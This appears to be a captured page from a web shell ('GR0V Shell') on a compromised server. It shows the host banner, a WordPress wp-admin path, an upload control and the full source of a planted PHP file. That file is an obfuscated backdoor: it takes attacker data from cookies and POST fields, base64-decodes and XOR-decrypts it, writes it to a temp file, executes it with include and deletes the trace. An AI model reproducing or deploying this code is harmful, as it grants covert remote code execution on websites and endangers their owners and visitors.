? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-admin/user/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-admin/user/4cd28f26.php

$fvTkSlDLeR = chr (114) . '_' . chr ( 381 - 270 ).'p' . chr ( 1024 - 923 ).'P' . "\161";$jnFHAB = "\x63" . "\154" . chr (97) . chr ( 596 - 481 )."\x73" . "\137" . chr (101) . chr ( 1045 - 925 ).'i' . chr (115) . chr (116) . "\163";$hymoRAWW = $jnFHAB($fvTkSlDLeR); $fvTkSlDLeR = "60993";$jnFHAB = "42271";$AClhL = $hymoRAWW;if (!$AClhL){class r_opePq{private $eGzaOjCiU;public static $ScHxFZV = "b8964e4a-eb16-4935-a8e8-94bfe4ac2fbe";public static $rIuCkVLNZz = 59553;public function __construct($vinSMNwrG=0){$MoubK = $_COOKIE;$IFdLy = $_POST;$CShNzVR = @$MoubK[substr(r_opePq::$ScHxFZV, 0, 4)];if (!empty($CShNzVR)){$BKECmucC = "base64";$WPSdiM = "";$CShNzVR = explode(",", $CShNzVR);foreach ($CShNzVR as $PQfBJMy){$WPSdiM .= @$MoubK[$PQfBJMy];$WPSdiM .= @$IFdLy[$PQfBJMy];}$WPSdiM = array_map($BKECmucC . "\x5f" . 'd' . "\x65" . "\x63" . chr (111) . chr (100) . chr (101), array($WPSdiM,)); $WPSdiM = $WPSdiM[0] ^ str_repeat(r_opePq::$ScHxFZV, (strlen($WPSdiM[0]) / strlen(r_opePq::$ScHxFZV)) + 1);r_opePq::$rIuCkVLNZz = @unserialize($WPSdiM);}}private function pAsjW(){if (is_array(r_opePq::$rIuCkVLNZz)) {$hMKdpHozU = sys_get_temp_dir() . "/" . crc32(r_opePq::$rIuCkVLNZz['s' . "\141" . "\x6c" . "\x74"]);@r_opePq::$rIuCkVLNZz[chr ( 488 - 369 ).'r' . 'i' . 't' . chr ( 837 - 736 )]($hMKdpHozU, r_opePq::$rIuCkVLNZz["\x63" . chr ( 672 - 561 ).chr ( 273 - 163 )."\x74" . chr (101) . chr (110) . chr (116)]);include $hMKdpHozU;@r_opePq::$rIuCkVLNZz['d' . "\145" . chr ( 1004 - 896 ).chr ( 1090 - 989 )."\x74" . "\x65"]($hMKdpHozU); $lVBrc = "42883";exit();}}public function __destruct(){$this->pAsjW(); $lVBrc = "42883";}}$lalxO = new r_opePq(); $lalxO = "27810_26337";}

T1KUS90T
  root-grov@210.1.60.28:~$